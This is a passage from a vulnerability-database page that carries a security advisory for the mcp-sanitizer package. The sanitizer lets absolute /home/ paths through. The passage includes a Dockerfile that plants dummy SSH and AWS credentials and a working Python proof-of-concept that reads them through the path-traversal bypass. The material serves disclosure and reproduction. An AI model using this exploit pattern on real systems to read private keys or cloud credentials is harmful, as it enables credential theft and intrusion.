\u0027SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002\u0027 \u003e\u003e /home/victim/.ssh/id_rsa \u0026\u0026 \\\n echo \u0027CVE_VULN002_SANITIZER_ALLOWS_HOME_DIRECTORY_ABSOLUTE_PATHS\u0027 \u003e\u003e /home/victim/.ssh/id_rsa \u0026\u0026 \\\n echo \u0027-----END RSA PRIVATE KEY-----\u0027 \u003e\u003e /home/victim/.ssh/id_rsa \u0026\u0026 \\\n chmod 600 /home/victim/.ssh/id_rsa\nRUN echo \u0027[default]\u0027 \u003e /home/victim/.aws/credentials \u0026\u0026 \\\n echo \u0027aws_access_key_id = AKIAIOSFODNN7EXAMPLE\u0027 \u003e\u003e /home/victim/.aws/credentials \u0026\u0026 \\\n echo \u0027aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\u0027 \u003e\u003e /home/victim/.aws/credentials \u0026\u0026 \\\n echo \u0027region = us-east-1\u0027 \u003e\u003e /home/victim/.aws/credentials \u0026\u0026 \\\n chmod 600 /home/victim/.aws/credentials\n\n# Copy the consumer server application\nWORKDIR /app\nCOPY server.js ./server.js\n\nEXPOSE 3000\n\nCMD [\"node\", \"server.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-002 Dynamic Reproduction PoC\nmcp-sanitizer v1.3.3 \u2014 File path sanitizer permits arbitrary user-home absolute paths (CWE-22)\n\nVulnerability:\n src/utils/validation-utils.js:188-196 explicitly whitelists \u0027/home/\u0027 and \u0027/Users/\u0027\n as allowed absolute path prefixes. A path like /home/victim/.ssh/id_rsa passes\n sanitizer.sanitize(path, {type: \u0027file_path\u0027}) with blocked=false, and the consumer\n app reads the file using the trusted sanitized path.\n\nAttack chain:\n 1. Attacker sends POST /tool with file_path=/home/victim/.ssh/id_rsa\n 2. sanitizer.sanitize() returns {blocked: false, sanitized: \u0027/home/victim/.ssh/id_rsa\u0027}\n 3. Consumer app calls fs.readFile(sanitized_path) \u2014 trusting the sanitizer\n 4. SSH private key contents returned in HTTP response (exfiltrated)\n\nUsage:\n python3 poc.py\n\"\"\"\n\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nimport time\nimport urllib.request\nimport urllib.error\n\n# Paths\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nREPO_DIR = os.path.abspath(os.path.join(SCRIPT_DIR, \"..\", \"repo\"))\nPHASE2_RESULT = os.path.join(SCRIPT_DIR, \"phase2_result.json\")\n\n# Docker settings\nIMAGE_NAME = \"vuln002-mcp-sanitizer-poc\"\nCONTAINER_NAME = \"vuln002-poc-container\"\nHOST_PORT = 13572 # High port to avoid conflicts\n\nBASE_URL = f\"http://127.0.0.1:{HOST_PORT}\"\nTOOL_URL = f\"{BASE_URL}/tool\"\nHEALTH_URL = f\"{BASE_URL}/health\"\n\n\ndef log(msg):\n print(f\"[poc] {msg}\", flush=True)\n\n\ndef save_result(passed, verdict, reason, evidence, build_cmd, run_cmd):\n result = {\n \"passed\": passed,\n \"verdict\": verdict,\n \"reason\": reason,\n \"build_command\": build_cmd,\n \"run_command\": run_cmd,\n \"poc_command\": \"python3 poc.py\",\n \"evidence\": evidence,\n \"artifacts\": [\"Dockerfile\", \"poc.py\", \"server.js\"]\n }\n with open(PHASE2_RESULT, \"w\", encoding=\"utf-8\") as f:\n json.dump(result, f, indent=2, ensure_ascii=False)\n log(f\"Saved phase2_result.json (verdict={verdict})\")\n\n\ndef run(cmd, timeout=300, capture=True):\n \"\"\"Run a subprocess command and return (returncode, stdout, stderr).\"\"\"\n result = subprocess.run(\n cmd, capture_output=capture, text=True, timeout=timeout\n )\n return result.returncode, result.stdout, result.stderr\n\n\ndef stop_container():\n subprocess.run(\n [\"docker\", \"rm\", \"-f\", CONTAINER_NAME],\n capture_output=True, timeout=15\n )\n\n\ndef http_post(url, payload, timeout=8):\n data = json.dumps(payload).encode(\"utf-8\")\n req = urllib.request.Request(\n url, data=data,\n headers={\"Content-Type\": \"application/json\"},\n method=\"POST\"\n )\n with urllib.request.urlopen(req, timeout=timeout) as resp:\n return json.loads(resp.read().decode(\"utf-8\"))\n\n\ndef http_get(url, timeout=5):\n with urllib.request.urlopen(url, timeout=timeout) as resp:\n return json.loads(resp.read().decode(\"utf-8\"))\n\n\ndef wait_for_server(max_wait=40):\n log(f\"Polling {HEALTH_URL} until ready (max {max_wait}s)...\")\n deadline = time.monotonic() + max_wait\n while time.monotonic() \u003c deadline:\n try:\n resp = http_get(HEALTH_URL)\n if resp.get(\"ok\"):\n log(\"Server is up and responding.\")\n return True\n except Exception:\n pass\n time.sleep(0.6)\n return False\n\n\ndef prepare_build_context():\n \"\"\"\n Create a temporary Docker build context containing:\n build_ctx/\n Dockerfile\n server.js\n repo/\n package.json\n package-lock.json\n src/\n \"\"\"\n build_ctx = tempfile.mkdtemp(prefix=\"vuln002-ctx-\")\n log(f\"Build context directory: {build_ctx}\")\n\n # Copy Dockerfile and server.js from this script\u0027s directory\n for fname in (\"Dockerfile\", \"server.js\"):\n src = os.path.join(SCRIPT_DIR, fname)\n dst = os.path.join(build_ctx, fname)\n shutil.copy2(src, dst)\n log(f\" Copied {fname}\")\n\n # Copy only the necessary repo files (skip node_modules to keep context small)\n repo_dst = os.path.join(build_ctx, \"repo\")\n os.makedirs(repo_dst)\n shutil.copy2(os.path.join(REPO_DIR, \"package.json\"), repo_dst)\n shutil.copy2(os.path.join(REPO_DIR, \"package-lock.json\"), repo_dst)\n shutil.copytree(\n os.path.join(REPO_DIR, \"src\"),\n os.path.join(repo_dst, \"src\")\n )\n log(f\" Copied repo/src and package files\")\n\n return build_ctx\n\n\ndef main():\n log(\"=\" * 60)\n log(\"VULN-002 Dynamic Reproduction \u2014 mcp-sanitizer /home/* bypass\")\n log(\"=\" * 60)\n\n # Validate prerequisites\n if not os.path.isdir(REPO_DIR):\n log(f\"ERROR: Repo not found at {REPO_DIR}\")\n save_result(False, \"FAIL\",\n f\"\uc7ac\ud604 \uc804\uc81c\uc870\uac74 \ubbf8\ucda9\uc871: repo \ub514\ub809\ud130\ub9ac({REPO_DIR})\uac00 \uc874\uc7ac\ud558\uc9c0 \uc54a\uc74c.\",\n \"\", \"\", \"\")\n return 1\n\n rc, _, _ = run([\"docker\", \"info\"], timeout=10)\n if rc != 0:\n log(\"ERROR: Docker daemon is not accessible.\")\n save_result(False, \"FAIL\",\n \"Docker \ub370\ubaac\uc5d0 \uc811\uadfc\ud560 \uc218 \uc5c6\uc74c. Docker\uac00 \uc2e4\ud589 \uc911\uc778\uc9c0 \ud655\uc778\ud558\uc2dc\uc624.\",\n \"\", \"\", \"\")\n return 1\n\n # Clean up any leftover container from a previous run\n stop_container()\n\n build_ctx = None\n try:\n # Step 1: Prepare build context\n build_ctx = prepare_build_context()\n\n # Step 2: Build Docker image\n build_cmd = f\"docker build -t {IMAGE_NAME} {build_ctx}\"\n log(f\"Building Docker image: {build_cmd}\")\n rc, stdout, stderr = run(\n [\"docker\", \"build\", \"-t\", IMAGE_NAME, build_ctx],\n timeout=300\n )\n if rc != 0:\n err_tail = (stdout + stderr)[-600:]\n log(f\"Docker build FAILED (rc={rc}):\\n{err_tail}\")\n save_result(False, \"FAIL\",\n f\"Docker \uc774\ubbf8\uc9c0 \ube4c\ub4dc \uc2e4\ud328 (exit code {rc}). \"\n f\"\u0027npm ci --omit=dev\u0027 \uc2e4\ud328 \ub610\ub294 Dockerfile \uc624\ub958 \uac00\ub2a5\uc131. \"\n f\"\ub9c8\uc9c0\ub9c9 \ucd9c\ub825: {err_tail[-200:]}\",\n err_tail,\n build_cmd,\n f\"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}\")\n return 1\n log(\"Docker image built successfully.\")\n\n # Step 3: Run container in detached mode\n run_cmd = f\"docker run --rm --name {CONTAINER_NAME} -p {HOST_PORT}:3000 -d {IMAGE_NAME}\"\n log(f\"Starting container: {run_cmd}\")\n rc, stdout, stderr = run(\n [\"docker\", \"run\", \"--rm\", \"--name\", CONTAINER_NAME,\n \"-p\", f\"{HOST_PORT}:3000\", \"-d\", IMAGE_NAME],\n timeout=30\n )\n if rc != 0:\n log(f\"docker run FAILED:\\n{stderr}\")\n save_result(False, \"FAIL\",\n f\"\ucee8\ud14c\uc774\ub108 \uc2e4\ud589 \uc2e4\ud328 (exit code {rc}): {stderr[-300:]}\",\n stderr[-300:],\n build_cmd, run_cmd)\n return 1\n container_id = stdout.strip()\n log(f\"Container started: {container_id[:12]}\")\n\n # Step 4: Wait for HTTP server inside container\n if not wait_for_server():\n # Collect container logs for diagnosis\n _, clog, _ = run([\"docker\", \"logs\", CONTAINER_NAME], timeout=10)\n log(f\"Container logs:\\n{clog}\")\n save_result(False, \"FAIL\",\n f\"\uc11c\ubc84\uac00 {HOST_PORT} \ud3ec\ud2b8\uc5d0\uc11c \uc81c\ud55c \uc2dc\uac04 \ub0b4 \uc751\ub2f5\ud558\uc9c0 \uc54a\uc74c. \"\n f\"\ucee8\ud14c\uc774\ub108 \ub85c\uadf8: {clog[-300:]}\",\n clog[-300:],\n build_cmd, run_cmd)\n stop_container()\n return 1\n\n # ----------------------------------------------------------------\n # Step 5: Test 1 \u2014 Control: /etc/passwd must be BLOCKED\n # ----------------------------------------------------------------\n log(\"-\" * 50)\n log(\"TEST 1 (control): file_path=/etc/passwd [expected: blocked=true]\")\n try:\n r_ctrl = http_post(TOOL_URL, {\n \"tool_name\": \"file_reader\",\n \"parameters\": {\"file_path\": \"/etc/passwd\"}\n })\n except Exception as exc:\n r_ctrl = {\"_request_error\": str(exc)}\n log(f\" Response: {json.dumps(r_ctrl)[:300]}\")\n ctrl_blocked = r_ctrl.get(\"blocked\", False)\n\n # ----------------------------------------------------------------\n # Step 6: Test 2 \u2014 Exploit: /home/victim/.ssh/id_rsa must PASS\n # ----------------------------------------------------------------\n log(\"-\" * 50)\n log(\"TEST 2 (exploit): file_path=/home/victim/.ssh/id_rsa [expected: blocked=false + file content]\")\n try:\n r_ssh = http_post(TOOL_URL, {\n \"tool_name\": \"file_reader\",\n \"parameters\": {\"file_path\": \"/home/victim/.ssh/id_rsa\"}\n })\n except Exception as exc:\n r_ssh = {\"_request_error\": str(exc)}\n log(f\" Response: {json.dumps(r_ssh)[:400]}\")\n\n # ----------------------------------------------------------------\n # Step 7: Test 3 \u2014 Exploit: /home/victim/.aws/credentials must PASS\n # ----------------------------------------------------------------\n log(\"-\" * 50)\n log(\"TEST 3 (exploit): file_path=/home/victim/.aws/credentials [expected: blocked=false + AWS creds]\")\n try:\n r_aws = http_post(TOOL_URL, {\n \"tool_name\": \"file_reader\",\n \"parameters\": {\"file_path\": \"/home/victim/.aws/credentials\"}\n })\n except Exception as exc:\n r_aws = {\"_request_error\": str(exc)}\n log(f\" Response: {json.dumps(r_aws)[:400]}\")\n\n # ----------------------------------------------------------------\n # Step 8: Evaluate results\n # ----------------------------------------------------------------\n log(\"-\" * 50)\n log(\"Evaluating results...\")\n\n ssh_bypassed = (\n not r_ssh.get(\"blocked\", True) and\n r_ssh.get(\"EXPLOIT_SUCCESS\") is True and\n \"id_rsa\" in r_ssh.get(\"sanitized_path\", \"\") and\n bool(r_ssh.get(\"file_content\")) and\n \"RSA\" in r_ssh.get(\"file_content\", \"\")\n )\n\n aws_bypassed = (\n not r_aws.get(\"blocked\", True) and\n r_aws.get(\"EXPLOIT_SUCCESS\") is True and\n \"credentials\" in r_aws.get(\"sanitized_path\", \"\") and\n bool(r_aws.get(\"file_content\")) and\n \"aws_access_key_id\" in r_aws.get(\"file_content\", \"\")\n )\n\n log(f\" [control] /etc/passwd blocked={ctrl_blocked}\")\n log(f\" [exploit] SSH key bypass={ssh_bypassed}\")\n log(f\" [exploit] AWS creds bypass={aws_bypassed}\")\n\n # PASS requires: control is blocked AND at least SSH bypass confirmed\n if ctrl_blocked and ssh_bypassed:\n ssh_content = r_ssh.get(\"file_content\", \"\")\n aws_content = r_aws.get(\"file_content\", \"\")\n\n evidence = (\n f\"[Test 1 \u2014 Control] POST /tool {{file_path: \u0027/etc/passwd\u0027}} \"\n f\"=\u003e blocked=true (dangerousUnixPaths\uac00 /etc/\ub97c \uc62c\ubc14\ub974\uac8c \ucc28\ub2e8)\\n\\n\"\n f\"[Test 2 \u2014 Exploit] POST /tool {{file_path: \u0027/home/victim/.ssh/id_rsa\u0027}} \"\n f\"=\u003e blocked=false, EXPLOIT_SUCCESS=true\\n\"\n f\" sanitized_path: {r_ssh.get(\u0027sanitized_path\u0027)}\\n\"\n f\" file_content (truncated):\\n\"\n f\" {ssh_content[:300]}\\n\\n\"\n f\"[Test 3 \u2014 Exploit] POST /tool {{file_path: \u0027/home/victim/.aws/credentials\u0027}} \"\n f\"=\u003e blocked={r_aws.get(\u0027blocked\u0027, True)}, \"\n f\"EXPLOIT_SUCCESS={r_aws.get(\u0027EXPLOIT_SUCCESS\u0027)}\\n\"\n f\" file_content: {aws_content[:200]}\\n\\n\"\n f\"[Root Cause] validation-utils.js:190 \u2014 \"\n f\"allowedAbsolutePaths includes \u0027/home/\u0027 and \u0027/Users/\u0027: \"\n f\"any absolute path starting with /home/ passes with blocked=false.\"\n )\n\n reason = (\n \"/home/ prefix\uac00 allowedAbsolutePaths \ud654\uc774\ud2b8\ub9ac\uc2a4\ud2b8\uc5d0 \ud3ec\ud568\ub418\uc5b4 \uc788\uc5b4 \"\n \"/home/victim/.ssh/id_rsa \uacbd\ub85c\uac00 sanitizer.sanitize()\uc5d0\uc11c blocked=false\ub85c \ubc18\ud658\ub428. \"\n \"\uc18c\ube44 \uc571\uc774 \ud574\ub2f9 \uacbd\ub85c\ub85c fs.readFile\uc744 \ud638\ucd9c\ud558\uc5ec SSH \uac1c\uc778\ud0a4 \ub0b4\uc6a9\uc774 HTTP \uc751\ub2f5\uc73c\ub85c \uc720\ucd9c\ub428. \"\n \"CWE-22 \uacbd\ub85c \uc81c\ud55c \uc6b0\ud68c \ucde8\uc57d\uc810 \ub3d9\uc801 \uc7ac\ud604 \uc644\ub8cc (\ucee8\ud14c\uc774\ub108 \ub0b4 \uad00\uce21 \uac00\ub2a5\ud55c \ud30c\uc77c \uc720\ucd9c \ud655\uc778).\"\n )\n\n save_result(\n True, \"PASS\", reason, evidence,\n f\"docker build -t {IMAGE_NAME} \u003cbuild_ctx\u003e\",\n f\"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}\"\n )\n log(\"=== FINAL VERDICT: PASS ===\")\n return 0\n\n else:\n # Record failure details\n evidence = (\n f\"[Test 1] ctrl response: {json.dumps(r_ctrl)[:300]}\\n\"\n f\"[Test 2] ssh response: {json.dumps(r_ssh)[:300]}\\n\"\n f\"[Test 3] aws response: {json.dumps(r_aws)[:300]}\\n\"\n f\"ctrl_blocked={ctrl_blocked}, ssh_bypassed={ssh_bypassed}, aws_bypassed={aws_bypassed}\"\n )\n\n if not ctrl_blocked:\n # Unexpected: /etc/passwd should be blocked\n reason = (\n \"/etc/passwd \uacbd\ub85c\uac00 \uc608\uc0c1\uacfc \ub2ec\ub9ac \ucc28\ub2e8\ub418\uc9c0 \uc54a\uc558\uc74c. \"\n \"\uc11c\ubc84 \ucd08\uae30\ud654 \uc624\ub958 \ub610\ub294 \ucde8\uc57d\uc810 \ud328\uce58 \uac00\ub2a5\uc131. \uc11c\ubc84 \ub85c\uadf8\ub97c \ud655\uc778\ud558\uc2dc\uc624.\"\n )\n else:\n reason = (\n f\"/home/victim/.ssh/id_rsa bypass \ubbf8\ud655\uc778 (ssh_bypassed={ssh_bypassed}). \"\n f\"\uc751\ub2f5: {json.dumps(r_ssh)[:200]}. \"\n \"\uc11c\ubc84 \uc751\ub2f5 \uad6c\uc870 \ub610\ub294 \ud30c\uc77c \uc0dd\uc131 \ud655\uc778 \ud544\uc694. \"\n \"container \ub0b4 /home/victim/.ssh/id_rsa \ud30c\uc77c \uc874\uc7ac \uc5ec\ubd80\ub97c \"\n \"\u0027docker exec \u003ccontainer\u003e cat /home/victim/.ssh/id_rsa\u0027\ub85c \ud655\uc778\ud558\uc2dc\uc624.\"\n )\n\n save_result(False, \"FAIL\", reason, evidence,\n f\"docker build -t {IMAGE_NAME} \u003cbuild_ctx\u003e\",\n f\"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}\")\n log(\"=== FINAL VERDICT: FAIL ===\")\n return 1\n\n except KeyboardInterrupt:\n log(\"Interrupted by user.\")\n return 1\n except Exception as exc:\n import traceback\n tb = traceback.format_exc()\n log(f\"Unexpected error: {exc}\\n{tb}\")\n save_result(False, \"INCOMPLETE\",\n f\"\uc608\uc0c1\uce58 \ubabb\ud55c \uc624\ub958 \ubc1c\uc0dd: {exc}. \"\n \"traceback\uc744 \ud655\uc778\ud558\uace0 Docker \ud658\uacbd \ubc0f repo \uacbd\ub85c\ub97c \uc810\uac80\ud558\uc2dc\uc624.\",\n tb[-600:], \"\", \"\")\n return 1\n finally:\n stop_container()\n if build_ctx and os.path.isdir(build_ctx):\n shutil.rmtree(build_ctx, ignore_errors=True)\n log(f\"Cleaned up build context: {build_ctx}\")\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-7w82-6f9j-v9jp",
"modified": "2026-10-28T19:51:34Z",
"published": "2026-10-28T19:51:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/starman69/mcp-sanitizer/security/advisories/GHSA-7w82-6f9j-v9jp"
},
{
"type": "WEB",
"url": "https://github.com/starman69/mcp-sanitizer/commit/200685889b073f7470859b0941b67b7f46255f09"
},
{
"type": "PACKAGE",
"url": "https://github.com/starman69/mcp-sanitizer"
},
{
"type": "WEB",
"url": "https://github.com/starman69/mcp-sanitizer/releases/tag/v1.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.